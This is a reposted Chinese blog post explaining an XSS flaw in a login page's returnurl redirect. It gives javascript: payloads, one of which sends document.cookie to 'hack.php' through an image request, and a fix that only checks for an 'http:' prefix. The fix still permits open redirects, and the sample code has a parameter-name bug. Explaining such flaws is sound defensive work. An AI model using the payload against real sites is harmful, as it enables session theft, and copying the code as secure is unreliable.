javascript实现“登录后跳回之前页面”的漏洞

简介:

www.xxx.com网站有个登录页面login.htm,登录之后需要跳到之前的页面www.yyy.com

url形式如下:http://www.xxx.com/login.htm?returnurl=http://www.yyy.com 

long.htm代码里面通过javascript跳转:


复制代码
/* *
* javascript获取URL指定参数对应的值
* @method getQueryString
* @param {string} s 参数名
* @return {string}
*/
function  getQueryString(s){
    
var  reg  =   new  RegExp( " (^|&) "   +  name  +   " =([^&]*)(&|$) " );
    
var  r  =  window.location.search.substr( 1 ).match(reg);
    
if  (r  !=   null return  r[ 2 ];  return   "" ;
}

location.href
= getQueryString( " returnurl " );
复制代码

这看上去没问题,满足业务需求,但是有个js漏洞 (感谢csy同学指出)

如果url变成:

http://www.xxx.com/login.htm?returnurl=javascript:alert(document.cookie); 

登录完之后就能取得整个本地cookie。

 

更进一步,url变成:
http://www.xxx.com/login.htm?returnurl=
javascript:var%20img%20=%20document.createElement%28%27img%27%29;img.src=%27hack.php?cookie=%27+document.cookie;document.body.appendChild%28img%29;

如果恶意用户散布这个链接,只要一点击,就可以偷取用户的cookie,从而模拟用户登录大多数网站,达到盗取账号的目的。

 

所以这个漏洞很有必要堵上,处理一下参数里面的值,比如以判断参数值是否以http:开头(我们采用的),总之根据你的业务需要的方式做具体防范。


var  returnurl  =  getQueryString( " returnurl " );
returnurl 
=  returnurl.toLowerCase().indexOf( ' http: ' ==   0   ?  returnurl :  "" ;
location.href
= returnurl;

 


本文转自Kai的世界,道法自然博客园博客,原文链接:http://www.cnblogs.com/kaima/archive/2011/04/15/2017182.html,如需转载请自行联系原作者。

目录
相关文章
|
16天前
|
Web App开发 移动开发 前端开发
技术经验分享:canvas+howler.js解决同页面视频、音频同时播放问题
技术经验分享:canvas+howler.js解决同页面视频、音频同时播放问题
22 0
|
3天前
|
JavaScript
JS代码动态打印404页面源码
源码由HTML+CSS+JS组成,记事本打开源码文件可以进行内容文字之类的修改,双击html文件可以本地运行效果,也可以上传到服务器里面,重定向这个界面
7 0
JS代码动态打印404页面源码
|
3天前
|
测试技术 UED
断网之后的页面,Autox.js是点击还是上下滑动比较好?
断网之后的页面,Autox.js是点击还是上下滑动比较好?
|
3天前
|
测试技术 API Android开发
autox.js如何监听异常情况,比如网络中断、内存慢、应用死机或者页面无响应
autox.js如何监听异常情况,比如网络中断、内存慢、应用死机或者页面无响应
|
10天前
|
JavaScript API
前后端数据交互.js文件的axios的写法,想要往后端发送数据,页面注入API,await的意思是同步等待服务器数据,并返回,axios注入在其他页面,其他页面调用的时候,同步作用
前后端数据交互.js文件的axios的写法,想要往后端发送数据,页面注入API,await的意思是同步等待服务器数据,并返回,axios注入在其他页面,其他页面调用的时候,同步作用
|
11天前
|
移动开发 JavaScript
thinkPHP5.0开发微信H5页面分享接口signature验证失败,signature与微信 JS 接口签名校验工具返回结果不一致
thinkPHP5.0开发微信H5页面分享接口signature验证失败,signature与微信 JS 接口签名校验工具返回结果不一致
22 0
|
16天前
|
缓存 JavaScript 前端开发
老程序员分享:js刷新页面得重新加载和页面的刷新
老程序员分享:js刷新页面得重新加载和页面的刷新
13 0
|
16天前
|
缓存 JavaScript 前端开发
程序员必知:广告等第三方应用嵌入到web页面方案之使用js片段
程序员必知:广告等第三方应用嵌入到web页面方案之使用js片段
|
22天前
|
JavaScript 前端开发 算法
[练习]用Js获取html页面中表单提交的数据并且返回到控制台
[练习]用Js获取html页面中表单提交的数据并且返回到控制台
15 0
|
22天前
|
前端开发 JavaScript
阿里云验证码2.0 验证时报错 前端页面获取的验证参数有问题,动态JS加载失败,请问怎么解决啊?急,急,急。
用户反馈校验时遇到错误,日志显示验证码参数获取异常。采用无痕验证,失败后,返回`{captchaResult:false,bizResult:false}`,未触发滑块二次验证。